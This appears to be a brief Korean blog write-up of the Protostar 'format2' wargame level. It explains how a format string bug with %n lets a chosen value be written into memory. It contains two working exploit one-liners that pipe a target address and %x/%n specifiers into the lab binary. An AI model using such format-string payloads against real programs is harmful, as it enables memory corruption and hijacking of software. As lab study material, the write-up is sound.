https://m.blog.naver.com/seongjin0526/221330963759
그러니깐 이 문제는 fgets의 FSB를 이용해서 원하는 값을 입력할 수 있는 가의 문제이다.
(%n의 이해를 묻는 문제 인 것 같다.)
(python -c 'print "\x90" * 4 + "\xe4\x96\x04\x08" + "%08x%08x%08x%32c%n"';cat) | ./format2
(python -c 'print "\xe4\x96\x04\x08"+"%20x"*3+"%n"') | ./format2
%x로 스택 공간을 4byte 씩 이동해서 %n으로 넣는 것이다.
'시스템' 카테고리의 다른 글
protostar heap0 (0) | 2025.01.30 |
---|---|
protostar format3 (0) | 2025.01.30 |
protostar format1 (0) | 2025.01.28 |
protostar stack5 (0) | 2025.01.28 |
protostar stack2 (0) | 2025.01.27 |